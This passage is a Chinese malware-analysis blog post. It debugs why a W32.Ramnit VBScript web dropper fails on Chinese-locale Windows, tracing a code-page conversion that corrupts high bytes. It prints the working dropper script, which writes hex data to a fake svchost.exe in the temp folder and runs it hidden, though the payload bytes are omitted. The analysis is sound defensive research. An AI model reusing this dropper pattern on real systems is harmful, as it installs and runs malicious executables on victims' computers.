click to login
某不知名程序员的网上巢穴。稍安勿躁,正在开发。

通过 VBScript 挂马失败的代码实例分析

前段时间检测系统监测到一批网站挂马,在网页中嵌入 VBScript 脚本,通过脚本中语句调用,将在脚本中定义的 PE 文件内容的十六进制文本写入用户临时目录中名为 svchost.exe 的文件并调用执行它。这就是至今颇有些时日的 W32.Ramnit 病毒。

当然 W32.Ramnit 通常不是用来挂马,而是感染当前机器磁盘中几乎所有的网页文件,那么浏览器在每次加载这些网页的时候,都会唤醒 W32.Ramnit 病毒本体。猜测这批挂马应该是 Windows Server 服务器中操作系统感染了 W32.Ramnit 病毒、病毒再感染磁盘中的网页文件(包括网站目录)所致,导致用户访问该网站时,将恶意代码下载到了自己的磁盘中。

但是让人匪夷所思的是,这批挂马有一个很明显的特征,那就是:所有的转储出来的文件 svchost.exe 都启动失败!于是开始分析这类情况,以追查是检测环境的问题还是挂马自身的缺陷导致。

0x0 定位

通过二进制编辑工具载入生成的 svchost.exe 文件,根据文件内容来看,其中充斥着很多 0x3F 字节,这明显不是通常的 PE 文件该有的现象。手动打开提示“不是有效的 Win32 程序”的错误,这样看来目标文件在写入磁盘的时候就是错误的数据。

3f 3f 3f 3f 1d 3f 3f 44 35 3f 24 41 05 55 3f 3f    ? ? ? ? . ? ? D 5 ? $ A . U ? ?
3f 3f 3f 3f 60 3f 3c ff ff ff 3f 3f 5c 2b 09 4c    ? ? ? ? ` ? <       ? ? \ + . L
37 3f ff 3f 3f 0a 19 5d 3f 3f 75 3f 35 ff 4d 3f    7 ?   ? ? . . ] ? ? u ? 5   M ?
11 55 3f 3f 3f 04 30 6e 7f 3f 3f 68 45 3f 32 2d    . U ? ? ? . 0 n . ? ? h E ? 2 -
45 3f 34 6a 35 3f 04 02 1c 33 1f 39 3f 21 08 5c    E ? 4 j 5 ? . . . 3 . 9 ? ! . \
80 35 34 31 1a 3f 3f 3f 3f 3f 3f 5d 06 39 3f 3f    € 5 4 1 . ? ? ? ? ? ? ] . 9 ? ?
3f 72 14 30 69 3f 3f 3f 34 37 35 33 22 3f 38 38    ? r . 0 i ? ? ? 4 7 5 3 " ? 8 8
32 37 3f 38 38 3f 3f 3f 1b 70 09 36 33 36 31 ff    2 7 ? 8 8 ? ? ? . p . 6 3 6 1  
3f 44 29 3f 2c 05 01 7d 7c 3f 3f 3f 3f 3f 3f 0e    ? D ) ? , . . } | ? ? ? ? ? ? .
3f 6d 3f 00 48 3f 3f 34 35 32 3f 3f 3f 3f 3f 34    ? m ? . H ? ? 4 5 2 ? ? ? ? ? 4
34 3f 3f 3f 32 31 74 3f 04 6f 79 1e 39 3f 3f 0c    4 ? ? ? 2 1 t ? . o y . 9 ? ? .
18 3f 34 36 3f 3f 3f 7b 3f ff 3f 01 3f 58 5d ff    . ? 4 6 ? ? ? { ?   ? . ? X ]  

通过查阅资料得知 W32.Ramnit 病毒通常直接感染 HTML 网页文件,在其中通过插入恶意的 VBScript 脚本在用户加载时将目标文件数据写入磁盘并执行。根据这个线索在浏览器中查看当前网页的源代码,于是在网页源代码中发现了恶意 VBScript 代码的踪迹。将 VBScript 代码抽离出来,完整内容如下:

DropFileName = "svchost.exe"
WriteData = "4D5A9000..." (很长, 省略)
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0

这段代码的具体作用是将 WriteData 中的十六进制编码文本数据通过逐字节内容转换,将二进制数据写入临时目录下的 svchost.exe 文件中,写入完成之后作为 PE 映像文件创建进程。

通过将 WriteData 变量的数据与前面获得的实际转储 svchost.exe 文件内容数据进行对比,发现数据有所不同:在 WriteData 变量中所有 0x80 ~ 0xFE 的字节数据,在 svchost.exe 文件内容中都变成了 0x3F 数值。

通过工具将 WriteData 中的数据转换并存储成文件,在隔离环境中执行,发现可以成功执行并产生恶意行为。这就说明 WriteData 中存储的数据是“挂马者”想要存储执行的真实文件数据,而前面获得的实际转储 svchost.exe 文件内容数据因为某些原因导致在存储时与目标数据发生了偏差。而根据目前的迹象看,可以推断是在这段 VBScript 代码执行时发生了问题。

将这段代码的 WriteData 变量的数据修改成 0x00 到 0xFF 数值的字符串 "000102...FDFEFF" 并单独保存成 vbs 脚本文件,通过 Windows 自带的 wscript.exe 工具执行,在指定的位置获得转储的目标文件;放入二进制文件编辑工具中查看,发现与前面的现象相同:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f    . . . . . . . . . . . . . . . .
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f    . . . . . . . . . . . . . . . .
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f      ! " # $ % & ' ( ) * + , - . /
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f    0 1 2 3 4 5 6 7 8 9 : ; < = > ?
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f    @ A B C D E F G H I J K L M N O
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f    P Q R S T U V W X Y Z [ \ ] ^ _
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f    ` a b c d e f g h i j k l m n o
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f    p q r s t u v w x y z { | } ~ .
80 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    € ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f ff    ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?  

在 WriteData 变量中所有 0x80 ~ 0xFE 的字节数据,在目标文件内容中都变成了 0x3F 数值。

0x1 思路

这段代码的逻辑很清楚,首先通过 DropFileName 和 WriteData 两个 String 变量指定目标文件名和目标文件内容数据,接下来创建 "Scripting.FileSystemObject" 对象,并根据当前系统临时目录文本拼接目标文件名得到目标写入绝对路径地址。如果目标路径文件不存在,那么执行写入的循环操作。

通过前面创建的 "Scripting.FileSystemObject" 脚本文件系统对象的 CreateTextFile 方法,创建一个用于对目标路径执行读写操作的 TextStream 文本流对象。CreateTextFile 方法原型如下:

object.CreateTextFile(filename[, overwrite[, unicode]])

该方法有三个参数:第一个参数指定目标文件名;第二个 Boolean 型参数指定创建时是否对目标文件覆盖;第三个 Boolean 参数可选,表示文件是作为一个 Unicode 文件创建的还是作为一个ASCII 文件创建的。默认是以 ASCII 文件创建。

接下来针对 WriteData 文本数据进行逐 2 字符的循环遍历。循环体中的代码是多条执行语句的复合:

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Mid() 表达式将 WriteData 偏移为 i 的位置 2 字符数据取出,并向左边返回获得的 2 字符子文本。通过 & 操作符将 "&H" 和 Mid 返回的子文本连接起来,形成 "&H4D" 这样的文本。在 VBScript 中,十六进制数的文本表达以 "&H" 开头进行表示。

CLng() 表达式将传入的文本参数转换为 Long 型的数据类型。Chr() 表达式将传入的 Long 型参数作为 ASCII 编码并计算出实际的字符,并将该字符以 String 类型返回给左边。

TextStream 文本流对象的 Write 方法将传入的 String 类型参数追加写入自身打开的句柄所指向的磁盘文件中。下面将对代码进行具体调试追踪以确定问题的根源。

0x2 追踪

通过 API Monitor 工具执行 wscript.exe 并传入前面保存的 vbs 脚本的路径,记录其全部 API 调用。在 API 调用列表里查找第一个参数 lpFileName 指向文本数据为指定的目标文件路径的 CreateFileW 函数调用。

关键调用序列为:

wscript.exe    ITypeInfo::Invoke ( 0x00cf5be0, 1101, DISPATCH_METHOD | DISPATCH_PROPERTYGET, 0x008fed88, 0x008ff0c0, 0x008feda8, 0x008fed98 )
wscript.exe    |- ITypeInfo::Invoke ( 0x00cf5be0, 1101, DISPATCH_METHOD | DISPATCH_PROPERTYGET, 0x008fed88, 0x008ff0c0, 0x008feda8, 0x008fed98 )
wscript.exe    |  |- GetRefTypeInfo ( 50333248, 0x008fe238 )
wscript.exe    |  |- ITypeInfo::GetTypeAttr ( 0x008fe230 )
wscript.exe    |  |- ITypeInfo::ReleaseTypeAttr ( 0x0097efec )
wscript.exe    |  |- ITypeInfo::Release (  )
scrrun.dll     |  |- SysStringLen ( "C:\Users\admin\AppData\Local\Temp\svchost.exe" )
scrrun.dll     |  |- CreateFileW ( "C:\Users\admin\AppData\Local\Temp\svchost.exe", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL )
KERNELBASE.dll |  |  |- RtlInitUnicodeStringEx ( 0x008fe270, "C:\Users\admin\AppData\Local\Temp\svchost.exe" )
KERNELBASE.dll |  |  |- RtlDosPathNameToRelativeNtPathName_U_WithStatus ( "C:\Users\admin\AppData\Local\Temp\svchost.exe", 0x008fe270, NULL, 0x008fe2a0 )
KERNELBASE.dll |  |  |- NtCreateFile ( 0x008fe25c, 0x40100080L, 0x008fe288, 0x008fe264, NULL, 0x00000080, 0x00000001, 0x00000005, 0x00000060, NULL, 0 )
KERNELBASE.dll |  |  |- RtlReleaseRelativeName ( 0x008fe2a0 )
KERNELBASE.dll |  |  |- RtlFreeHeap ( 0x00950000, 0, 0x00983618 )
KERNELBASE.dll |  |  |- RtlFreeHeap ( 0x00950000, 0, NULL )
KERNELBASE.dll |  |  |- RtlSetLastWin32Error ( ERROR_ALREADY_EXISTS )
scrrun.dll     |  |- malloc ( 20 )
scrrun.dll     |  |- EnterCriticalSection ( 0x6db2e5d0 )
scrrun.dll     |  |- LeaveCriticalSection ( 0x6db2e5d0 )
scrrun.dll     |  |- malloc ( 608 )
scrrun.dll     |  |- InitializeCriticalSection ( 0x00cfe39c )
scrrun.dll     |  |- EnterCriticalSection ( 0x6db2e5d0 )
scrrun.dll     |  |- LeaveCriticalSection ( 0x6db2e5d0 )
wscript.exe    |     |- ITypeLib::GetTypeInfoOfGuid ( ITextStream, 0x00cfe3b8 )
sxs.dll        |     |- FindActCtxSectionGuid ( 0, NULL, ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION, ITextStream, 0x008fe244 )
KERNEL32.dll   |        |- memset ( 0x008fe0e8, 0, 64 )
KERNEL32.dll   |        |- RtlNtStatusToDosError ( STATUS_SXS_KEY_NOT_FOUND )
KERNEL32.dll   |        |- RtlSetLastWin32Error ( ERROR_SXS_KEY_NOT_FOUND )
wscript.exe    |- ITypeInfo::Release (  )

这个调用序列是 wscript.exe 进程调用 VBScript 脚本中 CreateTextFile 语句的完整执行。

记录这次 CreateFileW 调用的返回值,这是 wscript.exe 执行 CreateTextFile 方法时,打开的目标文件的句柄。以这次 CreateFileW 调用的位置为起始,向后查找 lpBuffer 参数指向 "?" 文本并且 hFile 参数为这次 CreateFileW 创建句柄的 WriteFile 调用。

很快就找到了第一个针对该句柄的 WriteFile 调用。查看其参数,发现参数 lpBuffer 指向缓冲区的数据是 0x00,参数 nNumberOfBytesToWrite 的值是 1 字节。这正是我们要找的第一个 WriteFile 调用。

继续向后查找 WriteFile 调用,直到找到参数 lpBuffer 指向缓冲区数据为 0x80 时为止。当然,同样很容易就可以定位到。那么在当前位置继续查找下一个 WriteFile 的调用,显而易见地,它的 lpBuffer 参数指向的缓冲区数据成了 0x3F。

ITypeInfo::Invoke ( 0x037ee3b0, 10007, DISPATCH_METHOD, 0x032feab0, NULL, 0x032fead0, 0x032feac0 )
|- EnterCriticalSection ( 0x6db2e5d0 )
|- SysStringLen ( "?" )
|- SysStringLen ( "?" )
|- WideCharToMultiByte ( CP_ACP, 0, "?", 1, 0x032fe448, 2, NULL, 0x032fe430 )
|- WriteFile ( 0x000001c4, 0x032fe448, 1, 0x032fe3fc, NULL )
|  |- NtWriteFile ( 0x000001c4, NULL, NULL, NULL, 0x032fe2bc, 0x032fe448, 1, NULL, NULL )
|- LeaveCriticalSection ( 0x6db2e5d0 )

这次 WriteFile 调用实际上本应写入的是 0x0081 数值,但此时与前面现象类似地,写入的成了 0x003F 数值。查看这次 WriteFile 调用的上下文,发现在 WriteFile 调用前面有一次 WideCharToMultiByte 函数的调用。它的参数值如下:

#   Type    Name               Pre-Call Value        Post-Call Value
1   UINT    CodePage           CP_ACP                CP_ACP
2   DWORD   dwFlags            0                     0
3   LPCWSTR lpWideCharStr      0x03349f9c "?"        0x03349f9c "?"
4   int     cchWideChar        1                     1
5   LPSTR   lpMultiByteStr     0x032fe448            0x032fe448 "?"
6   int     cbMultiByte        2                     2
7   LPCSTR  lpDefaultChar      NULL                  NULL
8   LPBOOL  lpUsedDefaultChar  0x032fe430 = FALSE    0x032fe430 = FALSE

    int     Return                                   1

也就是说在 WriteFile 调用之前,进程通过 WideCharToMultiByte 将源缓冲区数据从宽字符文本转换成多字节文本,再将转换后的数据缓冲区地址传入 WriteFile 进行写入文件的操作。但可疑的是,WideCharToMultiByte 的源数据参数 lpWideCharStr 同样指向了内容为 0x003F ("?") 的缓冲区。这就意味着在调用它之前,待写入的数据已经被某处转换成 "?" 了。

从这个 ITypeInfo::Invoke 代码调用块的位置向上查找,在不远的地方找到以下调用:

MultiByteToWideChar ( Chinese-Simplified, 0, 0x032feb7c, 1, 0x03349ec4, 1 )

其参数值列表如下:

#   Type    Name               Pre-Call Value        Post-Call Value
1   UINT    CodePage           Chinese-Simplified    Chinese-Simplified
2   DWORD   dwFlags            0                     0
3   LPCSTR  lpMultiByteStr     0x032feb7c 0x81       0x032feb7c 0x81
4   int     cbMultiByte        1                     1
5   LPWSTR  lpWideCharStr      0x03349ec4            0x03349ec4 "?"
6   int     cchWideChar        1                     1

    int     Return                                   1

上面参数列表中 lpMultiByteStr 指向缓冲区数据实际显示的是由 API Monitor 工具解析出来的非 ASCII 字符,在文章中不能较好呈现,所以在编写文章时改成了十六进制数值呈现。

显而易见地问题就出现在这里。通过对 MultiByteToWideChar 函数在整体调用序列中的通盘搜索,发现只有在源缓冲区数据为 0x80 以上时才会出现对 MultiByteToWideChar 函数的调用;而在 ASCII 编码范围内的数据则没有通过 MultiByteToWideChar 进行转换。

在上面的参数值列表中 CodePage 的值引人注意,它并不是常规的 CP_ACP 这样的宏定义或数值,而是 Chinese-Simplified 这样的描述。但工具中并未说明它的具体数据是什么,所以为搞清楚还是得挂调试器。

通过 WinDBG 依附一个 wscript.exe 并载入 vbs 脚本文件,对 MultiByteToWideChar 函数以 lpMultiByteStr 和 cbMultiByte 参数为依据下条件断点,很容易中断到想要的位置。通过 kv 指令发现其第一个参数的值为 0x3A8。

Breakpoint 0 hit
eax=000003a8 ebx=00000081 ecx=031f0000 edx=00000010 esi=036cab68 edi=00000001
eip=778c4300 esp=032fe91c ebp=032fe948 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
KERNEL32!MultiByteToWideChar:
778c4300 8bff            mov     edi,edi
0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
032fe918 6f3dd228 000003a8 00000000 032fe944 KERNEL32!MultiByteToWideChar
032fe948 6f3ed327 032febb0 00000001 036c9f90 vbscript+0xd228
032fe964 6f3f4fb8 032febb0 00000001 036c9f90 vbscript!DllGetClassObject+0x10f7
032febf4 6f3f7593 00000000 15cd1b26 00000000 vbscript!DllGetClassObject+0x8d88
032fec44 6f3f7fdb 00000000 036c5570 00000000 vbscript!DllGetClassObject+0xb363
032fed54 6f3ef8da 00000000 00000000 00000000 vbscript!DllGetClassObject+0xbdab
032fedc8 6f3f8892 036c5a50 00000000 00000000 vbscript!DllGetClassObject+0x36aa
032fee1c 6f3f97d2 00000000 00000000 032fee50 vbscript!DllGetClassObject+0xc662

0x3A8 的十进制表示为 936,这是简体中文 GBK 的代码页编号。在该进程初始启动的时候,会调用下列 API 来根据当前操作系统设定区域语言获取应设置的代码页:

GetUserDefaultLCID (  )
IsValidLocale ( 2052, LCID_INSTALLED )
|- RtlInitUnicodeString ( 0x032fe150, "\Registry\Machine\System\CurrentControlSet\Control\Nls\Locale" )
|- NtOpenKey ( 0x032fe594, KEY_READ, 0x032fe158 )
|- RtlInitUnicodeString ( 0x032fe150, "\Registry\Machine\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts" )
|- NtOpenKey ( 0x032fe594, KEY_READ, 0x032fe158 )
|- RtlInitUnicodeString ( 0x032fe150, "\Registry\Machine\System\CurrentControlSet\Control\Nls\Language Groups" )
|- NtOpenKey ( 0x032fe594, KEY_READ, 0x032fe158 )
|- RtlIntegerToUnicodeString ( 2052, 16, 0x032fe180 )
|- RtlInitUnicodeString ( 0x032fe578, "00000804" )
|- memset ( 0x032fe880, 0, 532 )
|- NtQueryValueKey ( 0x00000190, 0x032fe578, KeyValueFullInformation, 0x032fe880, 532, 0x032fe584 )
|- RtlInitUnicodeString ( 0x032fe5c0, "a" )
|- RtlUnicodeStringToInteger ( 0x032fe5c0, 16, 0x032fe5bc )
|- RtlInitUnicodeString ( 0x032fe578, "a" )
|- memset ( 0x032feaa0, 0, 532 )
|- NtQueryValueKey ( 0x00000198, 0x032fe578, KeyValueFullInformation, 0x032feaa0, 532, 0x032fe584 )
GetLocaleInfoA ( 2052, LOCALE_IDEFAULTANSICODEPAGE, 0x032fedf0, 6 )
strtoul ( "936", NULL, 10 )
IsValidCodePage ( Chinese-Simplified )

代码页(CodePage)定义了字符的映射代码,依据设定的区域语言,以特定顺序排列字符内码列表(内码表)。通过代码页,实现指定区域语言的 ANSI 编码字符到 Unicode 字符的映射。

ANSI 是一种字符代码,为使计算机支持更多语言,通常使用 0x00 ~ 0x7F 范围的 1 个字节来表示 1 个英文字符。超出此范围的使用 0x80 ~ 0xFFFF 来编码,即扩展的 ASCII 编码。不同的国家和地区制定了不同的标准,比如前面提到的 GBK 编码。ANSI 编码根据不同区域语言规定 1 个字节或多个字节表示 1 个字符,所以 ANSI 编码的字符又可称为多字节字符,不同区域语言 ANSI 编码的 CodePage 编码映射互相独立,并不兼容。

Unicode 是为了解决这种字符编码方案的不兼容和局限性而产生的,每个字符在 Unicode 编码表中有独一无二的编码和位置。Unicode 编码的每个字符的长度相等,对 Windows 操作系统来说,Unicode 编码的单个字符长度为 2 字节。

在较新版本 Windows 的 VBScript 解析器模块中,String 类型的变量以 Unicode 的编码方式存储文本数据。在前面 VBscript 代码块中,Chr() 表达式返回从 Long 型数据转换后的多字节文本;但 ITextStream 对象的 Write 方法接收 String 类型的变量作为参数,此时会产生 String 类型的临时变量,将多字节文本数据当作 ANSI 编码数据转换为 Unicode 编码的数据。

进程对源数据缓冲区中的数据逐字节判断。当前字节数据的范围处于 0x00 ~ 0x7F 之内时,则仍旧认为其属于 1 字节表示 1 个字符,由 ANSI 编码转换为 Unicode 时直接在宽字符字节的高位补零;而当判断当前字节数据的范围处于 0x80 ~ 0xFF 范围时,那么解析器会认为该字节(和下一个字节)属于外文字符延伸编码方式的字符,解析器以 ANSI 编码的形式解析这些多字节文本数据,依据操作系统默认区域语言的设定以对应的代码页为依据,对源数据缓冲区中的数据进行编码转换。此时 MultiByteToWideChar 函数就派上了用场。

在 Write 方法的内部,ITextStream 对象根据 CreateTextFile 调用时第三个参数(Boolean 类型,默认为 False)作为是否为 Unicode 编码的依据;如果该参数为 False,那么 Write 方法会通过 WideCharToMultiByte 将 Unicode 数据转换为多字节文本数据,再调用 WriteFile 函数写入文件中。这与前面捕获的 WriteFile API 调用序列相对应。

0x3 对比

为了验证是否是由于中文版操作系统的代码页映射表导致了这样的问题,特地配置英文版 Windows 7 环境,在其中通过 API Monitor 捕获完整的 API 调用序列,定位到 0x81 相关的 MultiByteToWideChar 调用。

MultiByteToWideChar ( Western-European, 0, 0x0016eb20, 1, 0x001b5794, 1 )

它的参数值列表如下:

#   Type    Name            Pre-Call Value      Post-Call Value
1   UINT    CodePage        Western-European	Western-European
2   DWORD   dwFlags	        0                   0
3   LPCSTR  lpMultiByteStr  0x0016eb20          0x0016eb20
4   int     cbMultiByte     1                   1
5   LPWSTR  lpWideCharStr   0x001b5794          0x001b5794
6   int     cchWideChar     1                   1

    int     Return                              1

在参数值列表中可以发现,CodePage 参数的值为 Western-European 西欧语系编码的代码页。查看 0x0016eb20 和 0x001b5794 地址的数据:

0x0016eb20  81 00
0x001b5794  81 00 00 00 

可以看到这次 MultiByteToWideChar 成功将值为 0x81 的单字节数据转换成了宽字符文本数据。将 vbs 脚本完整执行,在指定位置生成的目标文件内容 HEX 数据如下:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff

在英文版操作系统环境中,VBScript 成功将目标数据正确地写入到磁盘文件中。为什么会有这样的差别?为了搞清楚,还是得上调试器。

0x4 调试

在英文版 Windows 7 操作系统中,通过 WinDBG 启动 wscript.exe 进程并载入前面的 vbs 脚本,对 kernelbase!MultiByteToWideChar 函数下断点并在源参数指向数据为 0x81 的调用处中断,单步跟进,查看目标参数指向的内存修改。在目标参数内存被修改为 0x0081 的时候,查看前几步调用的指令:

759a81c0 0fb60f          movzx   ecx,byte ptr [edi]         ds:0023:0025f090=81
759a81c3 8b55e0          mov     edx,dword ptr [ebp-20h]    ss:0023:0025f038=7ffb001c
759a81c6 668b0c4a        mov     cx,word ptr [edx+ecx*2]    ds:0023:7ffb011e=0081
759a81ca 66890e          mov     word ptr [esi],cx

此时 edx 寄存器的值就是当前区域语言的 CodePage 编码映射表的地址,ecx 寄存器的低位值是查表获得的 Unicode 编码的数据。通过 esi 寄存器存储的目标缓冲区中相应位置的指针,将数据写入该地址。当前环境的编码映射表的内容如下:

0:000> dw 7ffb001c l 100
7ffb001c  0000 0001 0002 0003 0004 0005 0006 0007
7ffb002c  0008 0009 000a 000b 000c 000d 000e 000f
7ffb003c  0010 0011 0012 0013 0014 0015 0016 0017
7ffb004c  0018 0019 001a 001b 001c 001d 001e 001f
7ffb005c  0020 0021 0022 0023 0024 0025 0026 0027
7ffb006c  0028 0029 002a 002b 002c 002d 002e 002f
7ffb007c  0030 0031 0032 0033 0034 0035 0036 0037
7ffb008c  0038 0039 003a 003b 003c 003d 003e 003f
7ffb009c  0040 0041 0042 0043 0044 0045 0046 0047
7ffb00ac  0048 0049 004a 004b 004c 004d 004e 004f
7ffb00bc  0050 0051 0052 0053 0054 0055 0056 0057
7ffb00cc  0058 0059 005a 005b 005c 005d 005e 005f
7ffb00dc  0060 0061 0062 0063 0064 0065 0066 0067
7ffb00ec  0068 0069 006a 006b 006c 006d 006e 006f
7ffb00fc  0070 0071 0072 0073 0074 0075 0076 0077
7ffb010c  0078 0079 007a 007b 007c 007d 007e 007f
7ffb011c  20ac 0081 201a 0192 201e 2026 2020 2021
7ffb012c  02c6 2030 0160 2039 0152 008d 017d 008f
7ffb013c  0090 2018 2019 201c 201d 2022 2013 2014
7ffb014c  02dc 2122 0161 203a 0153 009d 017e 0178
7ffb015c  00a0 00a1 00a2 00a3 00a4 00a5 00a6 00a7
7ffb016c  00a8 00a9 00aa 00ab 00ac 00ad 00ae 00af
7ffb017c  00b0 00b1 00b2 00b3 00b4 00b5 00b6 00b7
7ffb018c  00b8 00b9 00ba 00bb 00bc 00bd 00be 00bf
7ffb019c  00c0 00c1 00c2 00c3 00c4 00c5 00c6 00c7
7ffb01ac  00c8 00c9 00ca 00cb 00cc 00cd 00ce 00cf
7ffb01bc  00d0 00d1 00d2 00d3 00d4 00d5 00d6 00d7
7ffb01cc  00d8 00d9 00da 00db 00dc 00dd 00de 00df
7ffb01dc  00e0 00e1 00e2 00e3 00e4 00e5 00e6 00e7
7ffb01ec  00e8 00e9 00ea 00eb 00ec 00ed 00ee 00ef
7ffb01fc  00f0 00f1 00f2 00f3 00f4 00f5 00f6 00f7
7ffb020c  00f8 00f9 00fa 00fb 00fc 00fd 00fe 00ff

该表列出的数据是 0x00 到 0xFF 之间的 ANSI 编码对应的 Unicode 编码值。可以看到从 0x00 到 0xFF 的数据都有对应的 Unicode 编码值存在。这就说明,在配置为西欧语系编码集的操作系统中,默认使用的代码页映射表中是包含完整的 0x00 到 0xFF 的 Unicode 编码映射的,所以该 VBScript 网页挂马可以在英文版操作系统中正确转储目标 PE 文件并执行。

那么在英文版和中文版操作系统中执行 MultiByteToWideChar 函数时执行的操作有什么具体的区别呢?继续对这两种环境通过调试器进行分析。

通过 WinDBG 调试跟踪,发现在函数中执行初始判断参数有效性后,调用了 GET_CP_HASH_NODE 函数。

75f58445 8d4508          lea     eax,[ebp+8]
75f58448 50              push    eax
75f58449 e878eeffff      call    KERNELBASE!GET_CP_HASH_NODE (75f572c6)
75f5844e 8bd8            mov     ebx,eax
75f58450 85db            test    ebx,ebx

通过传入当前栈帧中的第一个参数(CodePage 编码)指针给 GET_CP_HASH_NODE 函数,获取该 CodePage 编码的实际代码页和 HashNode 地址的指针,并赋值给 ebx 寄存器,此后在该函数执行范围内 ebx 寄存器将始终存储该指针的值。

GET_CP_HASH_NODE 函数返回的是一个 CP_HASH 类型结构体对象的指针。在 NT 4.0 源码中 CP_HASH 结构体定义如下(在较新版本系统中可能有所不同,未验证):

//
//  Code Page Hash Table Structure.
//
typedef struct cp_hash_s {
    UINT           CodePage;           // codepage ID
    LPFN_CP_PROC   pfnCPProc;          // ptr to code page function proc
    PCP_TABLE      pCPInfo;            // ptr to CPINFO table
    PMB_TABLE      pMBTbl;             // ptr to MB translation table
    PGLYPH_TABLE   pGlyphTbl;          // ptr to GLYPH translation table
    PDBCS_RANGE    pDBCSRanges;        // ptr to DBCS ranges
    PDBCS_OFFSETS  pDBCSOffsets;       // ptr to DBCS offsets
    PWC_TABLE      pWC;                // ptr to WC table
    struct cp_hash_s *pNext;           // ptr to next CP hash node
} CP_HASH, *PCP_HASH;

该结构体存储代码页的详细信息、代码页函数指针、各类相关信息结构的指针等。

接下来 MultiByteToWideChar 函数会有如下调用:

75f584af 8b4308          mov     eax,dword ptr [ebx+8]    ds:0023:00332548=7ffb0002
75f584b2 6683780201      cmp     word ptr [eax+2],1       ds:0023:7ffa0004=0001

根据结构体定义可知读取的是 CP_HASH 结构体中 pCPInfo 指针域的值,然后访问其指向位置 +2 偏移的 WORD 类型的域并判断该域的值是否为 1。PCP_TABLE pCPInfo 域指向某个 CP_TABLE 类型结构体对象,该结构体可能的定义如下:

//
//  CP Information Table Structure (as it is in the data file).
//
typedef struct cp_table_s {
    WORD      CodePage;                // code page number
    WORD      MaxCharSize;             // max length (bytes) of a char
    WORD      wDefaultChar;            // default character (MB)
    WORD      wUniDefaultChar;         // default character (Unicode)
    WORD      wTransDefaultChar;       // translation of wDefaultChar (Unicode)
    WORD      wTransUniDefaultChar;    // translation of wUniDefaultChar (MB)
    BYTE      LeadByte[MAX_LEADBYTES]; // lead byte ranges
} CP_TABLE, *PCP_TABLE;

CP_TABLE+2 偏移位置是 WORD MaxCharSize 域,定义当前 CodePage 规定的 ANSI 编码单个字符的最大长度(字节数)。通过该访问该值,判断当前设定字符集的代码页规定每个字符的最大长度是否为 1 字节。如果为 1 字节,那么进入单字节长度 ANSI 编码的处理流程;否则进入对应多字节长度 ANSI 编码的处理流程。

以下是西欧语系字符集 CodePage 的 HashNode 结构体对象中 pCPInfo 指向的内存区块数据,与中文字符集 CodePage 对应的 pCPInfo 指向的内存数据对比:

[Western-European]
0:000> dw 7ffb0002 
001d0002  04e4 0001 003f 003f 003f 003f 0000 0000
